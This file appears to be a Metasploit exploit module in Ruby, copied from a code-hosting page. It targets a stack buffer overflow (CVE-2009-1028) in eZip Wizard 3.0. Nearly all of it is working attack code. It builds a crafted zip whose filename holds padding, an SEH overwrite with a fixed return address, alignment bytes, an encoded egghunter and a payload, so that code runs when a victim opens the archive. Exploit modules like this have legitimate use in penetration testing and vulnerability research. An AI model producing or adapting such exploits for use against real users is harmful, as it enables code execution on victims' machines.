117 lines
3.3 KiB
Ruby
117 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex/zip'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'eZip Wizard 3.0 Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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version 3.0 of ediSys Corp.'s eZip Wizard.
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In order for the command to be executed, an attacker must convince someone to
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open a specially crafted zip file with eZip Wizard, and access the specially
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file via double-clicking it. By doing so, an attacker can execute arbitrary
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code as the victim user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'fl0 fl0w', #Initial discovery, poc
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'jduck', #Metasploit
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'Lincoln', #Complete Metasploit port
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],
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'References' =>
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[
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[ 'CVE', '2009-1028' ],
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[ 'OSVDB', '52815' ],
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[ 'BID', '34044' ],
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[ 'URL', 'http://www.edisys.com/' ],
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[ 'EDB', '8180' ],
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[ 'EDB', '12059' ],
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],
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'Platform' => [ 'win' ],
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'Payload' =>
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{
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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},
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'DefaultOptions' =>
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{
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'AllowWin32SEH' => true
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},
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'Targets' =>
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[
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['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
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],
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'DisclosureDate' => 'Mar 09 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
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OptString.new('USERNAME', [ true, 'Username', ''])
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], self.class)
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end
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def exploit
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#These badchars do not apply to the final payload
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badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"
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eggoptions =
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{
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:checksum => true,
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:eggtag => 'w00t'
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}
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hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
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[ 'x86/alpha_mixed'].each { |name|
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enc = framework.encoders.create(name)
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if name =~/alpha/
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enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
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end
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hunter = enc.encode(hunter, nil, nil, platform)
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}
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#Username length affects our offset to hit SEH correctly
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if datastore['USERNAME'].length >= 9
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padding = rand_text_alpha(target['Offset'] - 8)
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else
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padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
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end
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fname = padding
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fname << "\x61\x61\x7a\x04" #nseh, align + conditional jmp
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fname << [target.ret].pack('V') #seh
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fname << "\x61" * 29 #align for hunter
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fname << "\x58\x58\x41" #align for hunter
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fname << hunter
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fname << egg
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zip = Rex::Zip::Archive.new
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xtra = [0xdac0ffee].pack('V')
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comment = [0xbadc0ded].pack('V')
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zip.add_file(fname, xtra, comment)
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(zip.pack)
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end
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end
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